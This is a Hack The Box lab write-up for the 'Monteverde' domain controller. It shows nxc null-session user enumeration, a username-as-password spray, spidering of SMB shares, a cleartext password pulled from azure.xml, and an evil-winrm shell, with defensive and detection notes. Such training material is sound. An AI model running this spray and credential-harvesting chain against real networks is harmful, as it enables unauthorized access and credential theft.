HTB - Monteverde
Target IP: 10.129.228.111
Domain: MEGABANK.LOCAL
DC Hostname: MONTEVERDE.MEGABANK.LOCAL
OS: Windows Server (Domain Controller)
Difficulty: Medium
Assumed Breach: No — initial access via unauthenticated enumeration
Author: [g1nt0n1x]
1. Phase 1: Reconnaissance & Information Gathering
1.1 TCP Port Discovery
I use zbulim, my automated recon tool. It handles host discovery via nxc, auto-updates /etc/hosts, tests null/guest sessions, enumerates shares and users, then runs the full TCP sweep → targeted -sCV → UDP sweep in sequence. See: github.com/g1nt0n1x/zbulim
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
| smb2-security-mode:
|_ Message signing enabled and required
Port Analysis & Attack Surface
| Port | Service | Notes |
|---|---|---|
| 88/tcp | Kerberos | Domain Controller confirmed |
| 389/tcp | LDAP | Domain: MEGABANK.LOCAL, DC: MONTEVERDE.MEGABANK.LOCAL |
| 445/tcp | SMB | Signing required — relay attacks blocked |
| 5985/tcp | WinRM | Remote shell entry point if valid credentials found |
| 135/tcp | MSRPC | RPC endpoint mapper — usable for group/user enumeration |
The combination of ports 88, 389, 445, and 5985 is the classic AD DC fingerprint. No web server present — this is a pure AD box.
2. Phase 2: Unauthenticated Enumeration
zbulim handles the steps below automatically. They are illustrated manually here for clarity.
2.1 Null Session Test
nxc smb 10.129.228.111 -u '' -p ''An empty username and password triggers an anonymous bind over SMB/RPC (MS-SAMR). If the DC allows it, the SAMRPC interface responds with domain object information — no credentials needed. This is an legacy configuration that many environments leave enabled.
2.2 Extract Domain Users via Null Session
nxc smb 10.129.228.111 -u '' -p '' --usersWith a null session open, nxc queries the SAM Remote Protocol (samr named pipe) to enumerate all domain accounts. The resulting list becomes the input for our password spray.
2.3 Check Password Policy Before Spraying
Before attempting any password spray, always check the domain’s password policy. Spraying against a policy with an account lockout threshold can lock out legitimate accounts — which is both noisy and destructive.
nxc smb 10.129.228.111 -u '' -p '' --pass-pol
# Min pw length: 7
# Complexity: 0
# Account Lockout Threshold: NoneNo lockout threshold means we can spray freely without risk of locking accounts. Complexity disabled and minimum length 7 also hints at weak passwords — increasing the likelihood that a username=password pattern exists.
3. Phase 3: Password Spray — Username as Password
With a user list and a permissive password policy, attempt a username-as-password spray. This catches service accounts and users who set their password to their own username — a common misconfiguration in automated provisioning workflows.
# --no-bruteforce: pair each user with their own name only (user1:user1, user2:user2)
# --continue-on-success: don't stop after the first hit
nxc smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success
# [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobsSABatchJobs — a service account — has its password set to its own username. Batch/service accounts are frequently provisioned with weak default credentials and never rotated.
3.1 Validate Credentials & Enumerate Accessible Shares
nxc smb 10.129.228.111 -u SABatchJobs -p SABatchJobs --shares
# users$ READ
# azure_uploads READTwo non-default shares are readable. users$ in particular is interesting — it suggests user home directories or profile data may be exposed.
4. Phase 4: SMB Share Enumeration & Credential Discovery
4.1 Spider All Readable Shares
# spider_plus: recursively enumerate and optionally download all readable files
nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' -M spider_plus -o DOWNLOAD_FLAG=True
# OUTPUT_FOLDER: /home/kali/.nxc/modules/nxc_spider_plusThe spider_plus module walks every share the account can read, builds a JSON index of all files, and (with DOWNLOAD_FLAG=True) downloads them locally. This is the fastest way to identify sensitive files buried in share structures.
4.2 Inspect Downloaded Files
tree -a /home/kali/.nxc/modules/nxc_spider_plus/10.129.228.111
# └── users$
# └── mhope
# └── azure.xmlA user’s home directory (mhope) is exposed inside users$. The filename azure.xml stands out — Azure AD Connect stores credentials in XML configuration files.
cat /home/kali/.nxc/modules/nxc_spider_plus/10.129.228.111/users\$/mhope/azure.xml
# <S N="Password">4n0therD4y@n0th3r$</S>Cleartext credentials in a configuration file left in an accessible share. The password belongs to mhope, whose home directory we’re already inside.
5. Phase 5: Initial Access via WinRM
Validate the discovered credentials and establish a shell:
nxc winrm 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'
# [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'
# *Evil-WinRM* PS C:\Users\mhope\Documents> whoami
# megabank\mhopeNote: The remainder of this box involves Azure AD Connect privilege escalation, which is outside OSCP scope and is not covered here.
Deep Dive: Null Sessions & SAMRPC Enumeration
A null session is an unauthenticated SMB connection established with an empty username and password. Windows historically allowed this for interoperability — legacy applications and management tools needed a way to query domain information without credentials.
When a null session succeeds, the attacker gains access to the SAMR named pipe (the SAM Remote Protocol). This interface was designed for domain management operations like listing users, groups, and password policies — all of which become visible to an anonymous caller when null sessions are enabled.
What null session access exposes:
- Full domain user list (usernames, RIDs, account flags)
- Group memberships
- Password policy (minimum length, complexity, lockout threshold)
- Sometimes share listings
Why it still exists: Null sessions are disabled by default in modern Windows, but many environments re-enable them for legacy application compatibility (e.g., old monitoring tools, custom scripts). Domain Controllers are especially common targets because administrators configure them for broad accessibility.
Detection: Null session attempts are logged as Event ID 4624 (Logon) with Logon Type 3 and an empty Account Name. Monitoring for anonymous SAMR binds is a reliable detection signal.
Deep Dive: Password Spraying
A password spray tests one (or a small number of) passwords against many accounts, rather than many passwords against one account. This avoids triggering account lockout policies, which typically trigger after N failed attempts against the same account.
Username-as-Password Pattern
Service accounts and batch job accounts are frequently provisioned automatically with the account name as the initial password. In environments without enforced rotation or complexity requirements, these credentials are never changed. SABatchJobs:SABatchJobs is a textbook example.
Why Check the Password Policy First
| Policy Setting | Impact on Spray Strategy |
|---|---|
| Lockout Threshold: None | Spray freely, any number of attempts |
| Lockout Threshold: 5 | Maximum 4 attempts per account per window |
| Observation Window | Wait for the window to reset between spray rounds |
| Complexity: Disabled | Simple passwords (username=password) are more likely |
The --no-bruteforce flag in nxc pairs each username with only its own name — one attempt per account. This is always safe regardless of lockout policy, and is the right first spray to run.
Deep Dive: Credentials in Files on SMB Shares
Configuration files containing cleartext credentials in accessible shares are one of the most common findings in real-world engagements. They appear because:
- Automation requires credentials — scripts, scheduled tasks, and sync agents need to authenticate somewhere, and developers often store credentials in config files rather than secrets managers
- Shares are over-permissioned —
users$being readable by a low-privilege service account (SABatchJobs) is a misconfiguration; home directory shares should restrict access to the owning user - Azure AD Connect specifically stores credentials for the sync account in XML files on disk as part of its configuration, making it a high-value target on AD boxes with Azure integration
What to Look For
When spidering shares, prioritize:
| File type / name pattern | Why interesting |
|---|---|
*.xml, *.config, *.json | Application config — often contains credentials |
*.ps1, *.bat, *.cmd | Scripts — often hardcode credentials inline |
web.config | IIS app config — database connection strings |
azure.xml, appsettings.json | Azure AD Connect, .NET app credentials |
id_rsa, *.pem, *.pfx | Private keys |
| Files in user home directories | Personal scripts, saved credentials |
The spider_plus module with DOWNLOAD_FLAG=True automates this entirely — download everything and grep locally rather than browsing shares manually.
Key Takeaways & Checklist
zbulimautomates the entire recon workflow: SMB enum, null session test, user extraction, password policy check, username spray, TCP/UDP sweeps- Always check the password policy before any spray — a lockout threshold changes your entire approach
- Username-as-password is the safest and most productive first spray; it hits service accounts hard
spider_plus -o DOWNLOAD_FLAG=Trueis the fastest way to find credentials buried in share file structures- Azure AD Connect config files (
azure.xml) store cleartext sync account credentials — always a high-value target - Validate new credentials over WinRM and SMB — different protocols may be enabled for different accounts
- When a user’s home directory is exposed in a share, that’s rarely accidental — check every file in it